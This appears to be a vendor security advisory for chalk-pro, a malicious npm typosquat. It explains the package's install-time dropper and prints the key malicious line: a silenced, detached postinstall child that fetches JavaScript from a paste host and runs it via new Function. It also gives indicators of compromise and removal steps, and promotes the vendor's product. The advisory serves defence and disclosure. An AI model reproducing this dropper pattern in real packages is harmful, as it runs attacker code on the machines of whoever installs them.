Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

chalk-pronpm

chalk-pro is a confirmed malicious npm package (MAL-2026-5711) that typosquats a legitimate package to trick installs (malicious versions 7.0.4, 7.0.6). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in chalk-pro (npm)

MAL-2026-5711
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall chalk-pro

What this malware does

Package is published as 'chalk-pro' (homepage chalk-pro.com) but its main entry is a verbatim copy of nodemailer's API — a typosquat impersonating both chalk and nodemailer, with 'Andris Reinman' (the real nodemailer author) listed as author. The package.json postinstall hook runs node lib/utils/index.js, which uses child_process.spawn(process.execPath, [filePath], { detached: true, stdio: ['ignore','ignore','ignore'] }) followed by child.unref() to launch lib/utils/smtp-connection/index.js as a detached, fully-silenced child so npm install returns immediately while the dropper continues in the background. The dropper executes require('axios').get('https://www.jsonkeeper.com/b/TOAAK').then(r => new Function('require', r.data.cookie)(require)) — fetching attacker-controlled JavaScript from a mutable paste host and evaluating it with new Function at install time, with full access to require. A second file (lib/utils/smtp-connection/parse.js) provides AES-256-CBC decryption with a hardcoded key and IV, positioned to decrypt follow-up stages delivered as hex. This is a classic install-time dropper: typosquat lure + detached/silenced postinstall + remote eval from a mutable third-party paste + bundled second-stage decryptor.

Malicious versions

2 flagged
7.0.47.0.6

Indicators of compromise (SHA-256)

ac66dfb6013c32d34c6ce83bdba4628b67539e81df27fe18dcf71d3de05ff8ce
d6015370f610f4d4581119093958e05171cac46e967b97725e8e3ed42dad9070
75bcaaf15fbc593bdf034886186f961d37758a21b9feca9c18c37338c8af34dc

Detection & response playbook

Typosquat
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for chalk-pro (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging chalk-pro across your stack and pipelines.

  2. If you installed it — respond

    chalk-pro is a typosquat — you almost certainly intended a legitimately-named package. Remove chalk-pro, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

  3. Did it already run?

    If chalk-pro was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks chalk-pro before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. chalk-pro on npm has been identified as a malicious package (versions 7.0.4, 7.0.6 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-006231IN-MAL-2026-006232IN-MAL-2026-006840

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks chalk-pro-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Explore

chalk-pro (npm) malicious package — MAL-2026-5711 | O3 Security